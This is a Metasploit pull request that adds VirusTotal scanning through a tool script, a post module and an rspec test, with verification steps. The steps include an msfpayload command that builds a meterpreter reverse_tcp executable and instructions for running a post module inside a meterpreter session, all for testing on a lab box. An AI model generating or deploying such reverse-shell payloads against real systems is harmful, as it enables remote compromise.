rapid7/metasploit-framework — pull request #2851 by wchen-r7 (2014-01-09 06:21:56+00:00)
Title: Add support for VirusTotal (Tool script, post module, and rspec inside)

This pull request adds support for VirusTotal and includes three files:

* A tool script named virustotal.rb that allows you to upload a malware and receive a scan report.
* A post module named check_malware.rb that allows you to submit a hash of a malware sample and receive a scan report.
* And finally, a rspec file to go with the tool script.

It is for the following ticket:
http://dev.metasploit.com/redmine/issues/8733

## Verification steps for virustotal.rb (the tool script)

There are two ways to test the script, the first is the rspec. Simple do:

- [ ] ```rspec spec/tools/virustotal_spec.rb```
- [ ] And you should see the following results.

```
virustotal.rb .................

Finished in 1.7 seconds
17 examples, 0 failures
```

The second way is to test it manually. You should test it twice because the very first time will ask you to acknowledge about your privacy, and will remember your API key in msf config:

- [ ] Sign up for an account at VirusTotal and obtain a public API key: https://www.virustotal.com/
- [ ] Make sure you have a malicious executable for testing: ```msfpayload windows/meterpreter/reverse_tcp lhost=[IP] lport=[port] X > /tmp/test.exe```
- [ ] Run virustotal.rb like so: ```tools/virustotal.rb -k [API KEY] -f /tmp/test.exe```
- [ ] Make sure you see a warning message and the link to VirusTotal's terms of service, enter 'Y' to continue
- [ ] Make sure you see a scan report (will take a few minutes to produce)
- [ ] Make sure the API key is stored in ~/.msf4/config under the group "VirusTotal"

Now, do another scan against the same file without the API key (-k option) to make sure a few things:

- [ ] Enter command: ```tools/virustotal.rb -f /tmp/test.exe```
- [ ] You should get the same scan report without having to supplying the API key again
- [ ] You should no longer see the same warning and VirusTotal's terms of service link
- [ ] Verify that you see your API key stored in ~/.msf4/config under the groupname "VirusTotal"

## Verification steps for post module check_malware.rb

The first thing you should test is check against a real malware (meterpreter):

- [ ] Set up a test box and drop a meterpreter executable in C:\. Let's call this file C:\test.exe
- [ ] Get a meterpreter connection going to the test box
- [ ] Run the post module: ```meterpreter > run post/multi/gather/check_malware APIKEY=[API KEY] REMOTEFILE=C:\\test.exe```
- [ ] You should receive a scan report

The last thing you should test is check against a non-malicious file:
- [ ] Create a text file with some text in it. Call it C:\test.txt
- [ ] Run the post module against that file: ```rmeterpreter > run post/multi/gather/check_malware APIKEY=[API KEY] REMOTEFILE=C:\\test.txt```
- [ ] You should see a message like this: "The requested resource is not among the finished, queued or pending scans", this just means "I don't have the checksum on file".